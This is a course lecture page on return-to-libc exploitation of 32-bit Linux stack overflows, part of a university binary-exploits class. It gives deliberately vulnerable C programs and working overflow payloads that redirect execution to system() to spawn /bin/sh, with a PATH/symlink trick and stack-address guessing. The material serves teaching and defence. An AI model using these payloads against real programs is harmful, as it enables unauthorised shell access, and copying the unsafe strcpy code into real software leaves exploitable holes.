SI485H: Stack Based Binary Exploits and Defenses (F15)

Home Policy Calendar Resources

Lec. 22: Return-to-Libc

Table of Contents

1 Write xor Execute Settings

So far, in all of our exploits on the stack, we've been assuming that the memory mapped for the stack is set to be executable. That is, we would overwrite the return address and the have it jump somewhere else on the stack (say to our shell code) and that code would execute.

This setting is not the common setting for modern machines. There is a principle called "Write xor Execute" or \(w \otimes x\) which states that a memory page should either be writable or executable but not both.

What does this mean in practice? Let's take a look at our dummy exploit code.

#include <string.h>

int main(int argc, char *argv[]){

  char code[1024];

  strncpy(code,argv[1],1024);

  //cast pointer to function pointer and call
  ((void(*)(void)) code)();

}

And we were to compile with our standard options:

gcc -fno-stack-protector -z execstack -Wno-format-security dummy_exploit.c   -o dummy_exploit

You'll notice one option -z execstack which says that we are allowed to have the stack set to executable. Using this program, we can launch a shell with our standard shell code:

user@si485H-base:demo$ ./dummy_exploit $(printf `./hexify.sh smallest_shell`)
$

But, let's run this under gdb first so we can pause the program and see the memory maps.

user@si485H-base:demo$ gdb -q dummy_exploit 
Reading symbols from dummy_exploit...done.
(gdb) br main
Breakpoint 1 at 0x8048429: file dummy_exploit.c, line 7.
(gdb) r
Starting program: /home/user/git/si485-binary-exploits/lec/22/demo/dummy_exploit 

Breakpoint 1, main (argc=1, argv=0xbffff734) at dummy_exploit.c:7
7	  strncpy(code,argv[1],1024);
(gdb) info proc
process 1803
cmdline = '/home/user/git/si485-binary-exploits/lec/22/demo/dummy_exploit'
cwd = '/home/user/git/si485-binary-exploits/lec/22/demo'
exe = '/home/user/git/si485-binary-exploits/lec/22/demo/dummy_exploit'
(gdb) shell
user@si485H-base:demo$ cat /proc/1803/map
map_files/ maps       
user@si485H-base:demo$ cat /proc/1803/maps 
08048000-08049000 r-xp 00000000 08:01 322611     /home/user/git/si485-binary-exploits/lec/22/demo/dummy_exploit
08049000-0804a000 r-xp 00000000 08:01 322611     /home/user/git/si485-binary-exploits/lec/22/demo/dummy_exploit
0804a000-0804b000 rwxp 00001000 08:01 322611     /home/user/git/si485-binary-exploits/lec/22/demo/dummy_exploit
b7e19000-b7e1a000 rwxp 00000000 00:00 0 
b7e1a000-b7fc2000 r-xp 00000000 08:01 161120     /lib/i386-linux-gnu/libc-2.19.so
b7fc2000-b7fc4000 r-xp 001a8000 08:01 161120     /lib/i386-linux-gnu/libc-2.19.so
b7fc4000-b7fc5000 rwxp 001aa000 08:01 161120     /lib/i386-linux-gnu/libc-2.19.so
b7fc5000-b7fc8000 rwxp 00000000 00:00 0 
b7fdb000-b7fdd000 rwxp 00000000 00:00 0 
b7fdd000-b7fde000 r-xp 00000000 00:00 0          [vdso]
b7fde000-b7ffe000 r-xp 00000000 08:01 163829     /lib/i386-linux-gnu/ld-2.19.so
b7ffe000-b7fff000 r-xp 0001f000 08:01 163829     /lib/i386-linux-gnu/ld-2.19.so
b7fff000-b8000000 rwxp 00020000 08:01 163829     /lib/i386-linux-gnu/ld-2.19.so
bffdf000-c0000000 rwxp 00000000 00:00 0          [stack]
user@si485H-base:demo$ exit
(gdb) quit

If you look closely, you'll see the line for the stack and permissions rwxp which means that this memory region is all read, writable, and executable. But, we can turn this off with a gcc flag:

user@si485H-base:demo$ gcc -fno-stack-protector -Wno-format-security dummy_exploit.c   -o dummy_exploit
user@si485H-base:demo$ ./dummy_exploit $(printf `./hexify.sh smallest_shell`)
Segmentation fault (core dumped)

Now we do not get a shell, but instead we get a segmentation fault. If we run this under gdb to look at the maps, the permissions has changed.

gdb) br main
Breakpoint 1 at 0x8048420
(gdb) r
Starting program: /home/user/git/si485-binary-exploits/lec/22/demo/dummy_exploit 

Breakpoint 1, 0x08048420 in main ()
(gdb) info proc
process 2043
cmdline = '/home/user/git/si485-binary-exploits/lec/22/demo/dummy_exploit'
cwd = '/home/user/git/si485-binary-exploits/lec/22/demo'
exe = '/home/user/git/si485-binary-exploits/lec/22/demo/dummy_exploit'
(gdb) shell
cuser@si485H-base:demo$ cat /proc/2043/maps
08048000-08049000 r-xp 00000000 08:01 322611     /home/user/git/si485-binary-exploits/lec/22/demo/dummy_exploit
08049000-0804a000 r--p 00000000 08:01 322611     /home/user/git/si485-binary-exploits/lec/22/demo/dummy_exploit
0804a000-0804b000 rw-p 00001000 08:01 322611     /home/user/git/si485-binary-exploits/lec/22/demo/dummy_exploit
b7e19000-b7e1a000 rw-p 00000000 00:00 0 
b7e1a000-b7fc2000 r-xp 00000000 08:01 161120     /lib/i386-linux-gnu/libc-2.19.so
b7fc2000-b7fc4000 r--p 001a8000 08:01 161120     /lib/i386-linux-gnu/libc-2.19.so
b7fc4000-b7fc5000 rw-p 001aa000 08:01 161120     /lib/i386-linux-gnu/libc-2.19.so
b7fc5000-b7fc8000 rw-p 00000000 00:00 0 
b7fdb000-b7fdd000 rw-p 00000000 00:00 0 
b7fdd000-b7fde000 r-xp 00000000 00:00 0          [vdso]
b7fde000-b7ffe000 r-xp 00000000 08:01 163829     /lib/i386-linux-gnu/ld-2.19.so
b7ffe000-b7fff000 r--p 0001f000 08:01 163829     /lib/i386-linux-gnu/ld-2.19.so
b7fff000-b8000000 rw-p 00020000 08:01 163829     /lib/i386-linux-gnu/ld-2.19.so
bffdf000-c0000000 rw-p 00000000 00:00 0          [stack]
user@si485H-base:demo$ exit
(gdb) quit

The challenge now is, how do we still exploit programs that uses write-xor-execute principles? The answer is, we do not inject our own shell code anymore, but we rather use the code that already exists and is already executable to do the job for us.

2 Return to Libc

While we might not be able to inject our own shell code into the process via the stack, we are in a position where we can still use other code to do our bidding. Namely, we'll focus on the C library function system().

The system() library function takes a string as input and will execute that string via execve. This can be very useful, and very dangerous.Consider the following program:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char * argv[]){

  system("/bin/sh");

}
user@si485H-base:demo$ ./system_shell 
$

Essentially, we use the system() mini-shell to launch a real /bin/sh shell. That's great, but what does this have to do with exploits? Why can't we overwrite a return address to jump there?

2.1 Overwriting Return Addresses with system()

For this example, we'll work the vulnerable program we've been using so far in class:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void bad(){
  printf("You've been naughty!\n");
}

void good(){
  printf("Go Navy!\n");
}

void vuln(int n, char * str){

  int i = 0;  
  char buf[32];
  strcpy(buf,str);
  while( i < n ){
    printf("%d %s\n",i++, buf);
  }
}

int main(int argc, char *argv[]){
  vuln(atoi(argv[1]), argv[2]);
  return 0;
}

Note, that in this example code, we #include the stdlib.h, which is the C standard library, and will include all the goodies we need for this exploit, namely, the system() function.

The first thing we need to do is determine where the system() call is loaded.

(gdb) br main
Breakpoint 1 at 0x804852a: file vulnerable.c, line 29.
(gdb) r 
Starting program: /home/user/git/si485-binary-exploits/lec/22/demo/vulnerable 

Breakpoint 1, main (argc=1, argv=0xbffff734) at vulnerable.c:29
29	  vuln(atoi(argv[1]), argv[2]);
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7e5a190 <__libc_system>

So at address 0xb735a190 is the start of the system. Let's try and use that in our exploit. First, we need to setup the exploit, and we'll do that in the normal way.

We can find the length of the buffer to the exploit:

080484d5 <vuln>:
 80484d5:	55                   	push   ebp
 80484d6:	89 e5                	mov    ebp,esp
 80484d8:	83 ec 48             	sub    esp,0x48
 80484db:	c7 45 f4 00 00 00 00 	mov    DWORD PTR [ebp-0xc],0x0
 80484e2:	8b 45 0c             	mov    eax,DWORD PTR [ebp+0xc]
 80484e5:	89 44 24 04          	mov    DWORD PTR [esp+0x4],eax
 80484e9:	8d 45 d4             	lea    eax,[ebp-0x2c] #<------------
 80484ec:	89 04 24             	mov    DWORD PTR [esp],eax
 80484ef:	e8 6c fe ff ff       	call   8048360 <strcpy@plt>
 80484f4:	eb 20                	jmp    8048516 <vuln+0x41>
 80484f6:	8b 45 f4             	mov    eax,DWORD PTR [ebp-0xc]
 80484f9:	8d 50 01             	lea    edx,[eax+0x1]
 80484fc:	89 55 f4             	mov    DWORD PTR [ebp-0xc],edx
 80484ff:	8d 55 d4             	lea    edx,[ebp-0x2c]
 8048502:	89 54 24 08          	mov    DWORD PTR [esp+0x8],edx
 8048506:	89 44 24 04          	mov    DWORD PTR [esp+0x4],eax
 804850a:	c7 04 24 0e 86 04 08 	mov    DWORD PTR [esp],0x804860e
 8048511:	e8 3a fe ff ff       	call   8048350 <printf@plt>
 8048516:	8b 45 f4             	mov    eax,DWORD PTR [ebp-0xc]
 8048519:	3b 45 08             	cmp    eax,DWORD PTR [ebp+0x8]
 804851c:	7c d8                	jl     80484f6 <vuln+0x21>
 804851e:	c9                   	leave  
 804851f:	c3                   	ret

Then we can setup the overflow:

user@si485H-base:demo$ ./vulnerable 10 `python -c "print 'A'*(0x2c+4)+'\xef\xbe\xad\xde'"`
Segmentation fault (core dumped)
user@si485H-base:demo$ dmesg | tail -1
[ 2138.032640] vulnerable[2283]: segfault at deadbeef ip deadbeef sp bffff690 error 15

2.2 Jumping to system

Once the exploit is setup, now we only need to replace 0xdeadbeef with 0xb7e5a190 to jump the system call:

user@si485H-base:demo$ ./vulnerable 10 `python -c "print 'A'*(0x2c+4)+'\x90\xa1\xe5\xb7'"`
sh: 1: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA???: not found
Segmentation fault (core dumped)

That's really interesting because those errors have nothing to do with the program. Notices that the start of the error message refers to "sh" reporting the error. Essentially, we were successful in getting system() to execute, but the argument to system was not a valid command. But, what was it?

Look more closely, you'll see it is a bunch of our A's: it's the input we provided to the program. So we can control what get's called to it, and moreover, the system() command accepts valid bash directives. so we can do the following:

user@si485H-base:demo$ ./vulnerable 10 `python -c "cmd='/bin/sh;';print cmd+'A'*(0x2c+4-len(cmd))+'\x90\xa1\xe5\xb7'"`
$

And, boom shell! What we did, is we inserted a "/bin/sh;" at the start of our input string so that it will execute the shell. But there is still a bunch of A's to follow that will cause an error, and exiting the program, does just that:

user@si485H-base:demo$ ./vulnerable 10 `python -c "cmd='/bin/sh;';print cmd+'A'*(0x2c+4-len(cmd))+'\x90\xa1\xe5\xb7'"`
$ 
sh: 1: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA???: not found
Segmentation fault (core dumped)

2.3 Why this worked so easily

In our example, we got really lucky, because we control the argument to /bin/sh. Let's take a look at the disassemble of vuln:

Dump of assembler code for function vuln:
   0x080484d5 <+0>:	push   ebp
   0x080484d6 <+1>:	mov    ebp,esp
   0x080484d8 <+3>:	sub    esp,0x48
   0x080484db <+6>:	mov    DWORD PTR [ebp-0xc],0x0
   0x080484e2 <+13>:	mov    eax,DWORD PTR [ebp+0xc]
   0x080484e5 <+16>:	mov    DWORD PTR [esp+0x4],eax
   0x080484e9 <+20>:	lea    eax,[ebp-0x2c]
   0x080484ec <+23>:	mov    DWORD PTR [esp],eax
   0x080484ef <+26>:	call   0x8048360 <strcpy@plt>
   0x080484f4 <+31>:	jmp    0x8048516 <vuln+65>
   0x080484f6 <+33>:	mov    eax,DWORD PTR [ebp-0xc]
   0x080484f9 <+36>:	lea    edx,[eax+0x1]
   0x080484fc <+39>:	mov    DWORD PTR [ebp-0xc],edx
   0x080484ff <+42>:	lea    edx,[ebp-0x2c]
   0x08048502 <+45>:	mov    DWORD PTR [esp+0x8],edx
   0x08048506 <+49>:	mov    DWORD PTR [esp+0x4],eax
   0x0804850a <+53>:	mov    DWORD PTR [esp],0x804860e
   0x08048511 <+60>:	call   0x8048350 <printf@plt>
   0x08048516 <+65>:	mov    eax,DWORD PTR [ebp-0xc]
   0x08048519 <+68>:	cmp    eax,DWORD PTR [ebp+0x8]
   0x0804851c <+71>:	jl     0x80484f6 <vuln+33>
=> 0x0804851e <+73>:	leave  
   0x0804851f <+74>:	ret    
End of assembler dump.

If you look at the stack alignment at this point, we get the following for the vulnerable function prior to the leave/ret:

        .---------.
        |  str    | ----> "/bin/sh;AAAAAAAAAAAAAAAAAAA"
        |---------|
        |   n     |
        |---------|
        | ret adr | ----> 0xb7e5a190 (system+0x0)
        |---------|
 ebp -> | sbp     |
        |---------|
        :         :
esp ->  '---------'    eip: vuln+73

After the leave/return we are left with this:

ebp -> ???

       .---------.
       |  str    | ----> "/bin/sh;AAAAAAAAAAAAAAAAAAA"
       |---------|
esp -> |   n     |
       '---------'
                      eip: system+0x0

We can further look at the code for system:

Dump of assembler code for function __libc_system:
   0xb7e5a190 <+0>:	push   ebx
   0xb7e5a191 <+1>:	sub    esp,0x8                      
   0xb7e5a194 <+4>:	mov    eax,DWORD PTR [esp+0x10]
   0xb7e5a198 <+8>:	call   0xb7f4094b <__x86.get_pc_thunk.bx>
   0xb7e5a19d <+13>:	add    ebx,0x169e63
   0xb7e5a1a3 <+19>:	test   eax,eax
   0xb7e5a1a5 <+21>:	je     0xb7e5a1b0 <__libc_system+32>
   0xb7e5a1a7 <+23>:	add    esp,0x8
   0xb7e5a1aa <+26>:	pop    ebx
   0xb7e5a1ab <+27>:	jmp    0xb7e59c20 <do_system>   <---------!!!!
   0xb7e5a1b0 <+32>:	lea    eax,[ebx-0x495d4]
   0xb7e5a1b6 <+38>:	call   0xb7e59c20 <do_system>
   0xb7e5a1bb <+43>:	test   eax,eax
   0xb7e5a1bd <+45>:	sete   al
   0xb7e5a1c0 <+48>:	add    esp,0x8
   0xb7e5a1c3 <+51>:	movzx  eax,al
   0xb7e5a1c6 <+54>:	pop    ebx
   0xb7e5a1c7 <+55>:	ret

The do_system function is the thing that really does the work for the system call, and it just so happens that the argument to system when do_system() is called needs to be the second value on the stack, which is exactly what we have! This might not always be the case.

3 Harder Return to Lib C

Let's now look at what it takes to do a return to libc attack where we don't get lucky with the stack alignment. Here's another vulnerable program:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void vuln(char * str){
  char buf[32];


  strcpy(buf,str);

  printf("%s\n",buf);
}

int main(int argc, char *argv[]){

  vuln(argv[1]);

  return 0;

}

We can do a stack smash alignment like last time:

0804844d <vuln>:
 804844d:	55                   	push   ebp
 804844e:	89 e5                	mov    ebp,esp
 8048450:	83 ec 38             	sub    esp,0x38
 8048453:	8b 45 08             	mov    eax,DWORD PTR [ebp+0x8]
 8048456:	89 44 24 04          	mov    DWORD PTR [esp+0x4],eax
 804845a:	8d 45 d8             	lea    eax,[ebp-0x28] #<---
 804845d:	89 04 24             	mov    DWORD PTR [esp],eax
 8048460:	e8 ab fe ff ff       	call   8048310 <strcpy@plt>
 8048465:	8d 45 d8             	lea    eax,[ebp-0x28]
 8048468:	89 04 24             	mov    DWORD PTR [esp],eax
 804846b:	e8 b0 fe ff ff       	call   8048320 <puts@plt>
 8048470:	c9                   	leave  
 8048471:	c3                   	ret

Now when we run our exploit we get:

user@si485H-base:demo$ ./harder `python -c "cmd='/bin/sh;';print cmd+'A'*(0x28+4-len(cmd))+'\x90\xa1\xe5\xb7'"`
/bin/sh;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA???
sh: 1: 4: not found
Segmentation fault (core dumped)

We don't get what we want. But, the game is not up.

3.1 Using Sym Linking and PATH manipulation

If you look closely, you see the error, "4: not found", but let's take a closer look at this error under strace.

user@si485H-base:demo$ strace -f ./harder `python -c "cmd='/bin/sh;';print cmd+'A'*(0x28+4-len(cmd))+'\x90\xa1\xe5\xb7'"`
execve("./harder", ["./harder", "/bin/sh;AAAAAAAAAAAAAAAAAAAAAAAA"...], [/* 20 vars */]) = 0
(...)
clone(child_stack=0, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0xbffff544) = 2460
waitpid(2460, Process 2460 attached
 <unfinished ...>
(...)
[pid  2460] stat64("/usr/local/sbin/4\17\2", 0xbffff490) = -1 ENOENT (No such file or directory)
[pid  2460] stat64("/usr/local/bin/4\17\2", 0xbffff490) = -1 ENOENT (No such file or directory)
[pid  2460] stat64("/usr/sbin/4\17\2", 0xbffff490) = -1 ENOENT (No such file or directory)
[pid  2460] stat64("/usr/bin/4\17\2", 0xbffff490) = -1 ENOENT (No such file or directory)
[pid  2460] stat64("/sbin/4\17\2", 0xbffff490) = -1 ENOENT (No such file or directory)
[pid  2460] stat64("/bin/4\17\2", 0xbffff490) = -1 ENOENT (No such file or directory)
[pid  2460] stat64("/usr/games/4\17\2", 0xbffff490) = -1 ENOENT (No such file or directory)
[pid  2460] stat64("/usr/local/games/4\17\2", 0xbffff490) = -1 ENOENT (No such file or directory)
[pid  2460] write(2, "sh: 1: ", 7sh: 1: )      = 7
[pid  2460] write(2, "4\17\2: not found", 144: not found) = 14
[pid  2460] write(2, "\n", 1
(...)

What you see is that it is looking for the string "4\17\2" along the path. All we need to do is create a file along the execution path for "4\17\2" that will execute a shell.

To start, let's create a symbolic link to /bin/sh called "4\17\2":

user@si485H-base:demo$ ln -s /bin/sh $(printf "4\17\2")
user@si485H-base:demo$ ls -l 4^O^B 
lrwxrwxrwx 1 user user 7 Nov 24 10:04 4?? -> /bin/sh

Now, we just need to edit the PATH environment variable to put this along the path lookup:

user@si485H-base:demo$ export PATH=.:$PATH
user@si485H-base:demo$ echo $PATH
.:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games

Now, let's exploit away:

user@si485H-base:demo$ ./harder `python -c "cmd='/bin/sh;';print cmd+'A'*(0x28+4-len(cmd))+'\x90\xa1\xe5\xb7'"`
/bin/sh;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA???
$

Boom shell!

3.2 Jumping to the Exploit String

Another option is to write an address to the stack where system() will use it as its argument. Consider that we have control of the stack at this point, and we can write arbitrarily to the stack, so the question is, what address do we write? Why not jump to the exploit string itself.

Consider this version of the exploit again this time, I'm going to use 0xdeadbeef for the address of system and then 0xcafebabe for the address where the address of "/bin/sh" should be.

user@si485H-base:demo$ ./harder `python -c "cmd='/bin/sh;';print cmd+'A'*(0x28+4-len(cmd))+'\xef\xbe\xad\xde' + 'BBBB' + '\xbe\xba\xfe\xca'"`
/bin/sh;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAᆳ?AAAA????
Segmentation fault (core dumped)
user@si485H-base:demo$ dmesg | tail -1
[ 7089.578719] harder[2566]: segfault at deadbeef ip deadbeef sp bffff690 error 15

After the return/leave, the segfault occurs revealing the stack pointer at the time of the exploit, and this is EXACTLY the information we need in order to calculate the address of the start of the exploit string where "/bin/sh;" lives.

Consider again, that after the return and leave, the stack looks like this:

ebp -> ???

       |  ....  |
       |--------|
       |cafebabe|
       |--------|
esp -> |  BBBB  | ---.
       |--------|    |
       :        :    |
       : ...    :    | 
       : AAAA   :    |  esp - 0x28 - 0x8
       : ;AAA   :    |
       : /cat   :    |
       : /bin   :    |
       ' - -- - '----'

Looking at the exploit closely, you see that esp references the "BBBB" following the exploit, we see that this address is exactly 0x28+8 bytes away from the start of the exploit string. We know this because the return address was 0x28+4 bytes away, and this is four bytes beyond that. That means, if we replace 0xcafebabe with 0xbffff690-0x28-8=0xbffff660, we should get the exploit we want. Let's give it a try:

user@si485H-base:demo$ ./harder `python -c "cmd='/bin/sh;';print cmd+'A'*(0x28+4-len(cmd))+'\x90\xa1\xe5\xb7' + 'BBBB' + '\x60\xf6\xff\xbf'"`
/bin/sh;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA???BBBB`???
Segmentation fault (core dumped)

That didn't work — I think that system() messed up our string in some way, but now we are in the range. Let's keep trying addresses up from there:

user@si485H-base:demo$ ./harder `python -c "cmd='/bin/sh;';print cmd+'A'*(0x28+4-len(cmd))+'\x90\xa1\xe5\xb7' + 'BBBB' + '\x60\xf6\xff\xbf'"`
/bin/sh;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA???BBBB`???
Segmentation fault (core dumped)
user@si485H-base:demo$ ./harder `python -c "cmd='/bin/sh;';print cmd+'A'*(0x28+4-len(cmd))+'\x90\xa1\xe5\xb7' + 'BBBB' + '\x65\xf6\xff\xbf'"`
/bin/sh;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA???BBBBe???
Segmentation fault (core dumped)
user@si485H-base:demo$ ./harder `python -c "cmd='/bin/sh;';print cmd+'A'*(0x28+4-len(cmd))+'\x90\xa1\xe5\xb7' + 'BBBB' + '\x6a\xf6\xff\xbf'"`
/bin/sh;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA???BBBBj???
Segmentation fault (core dumped)
user@si485H-base:demo$ ./harder `python -c "cmd='/bin/sh;';print cmd+'A'*(0x28+4-len(cmd))+'\x90\xa1\xe5\xb7' + 'BBBB' + '\x70\xf6\xff\xbf'"`
/bin/sh;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA???BBBBp???
sh: 1: AAAAAAAAAAAAAAAA: not found
Segmentation fault (core dumped)

Now, we've got something cooking. System is trying to execute some input we provided. Let's just make the rest of the string "/bin/sh;" and maybe we'll get lucky:

user@si485H-base:demo$ ./harder `python -c "cmd='/bin/sh;/bin/sh;/bin/sh;/bin/sh;/bin/sh;';print cmd+'A'*(0x28+4-len(cmd))+'\x90\xa1\xe5\xb7' + 'BBBB' + '\x70\xf6\xff\xbf'"`
/bin/sh;/bin/sh;/bin/sh;/bin/sh;/bin/sh;AAAA???BBBBp???
$

So while we didn't get the first one, we eventually found a "/bin/sh".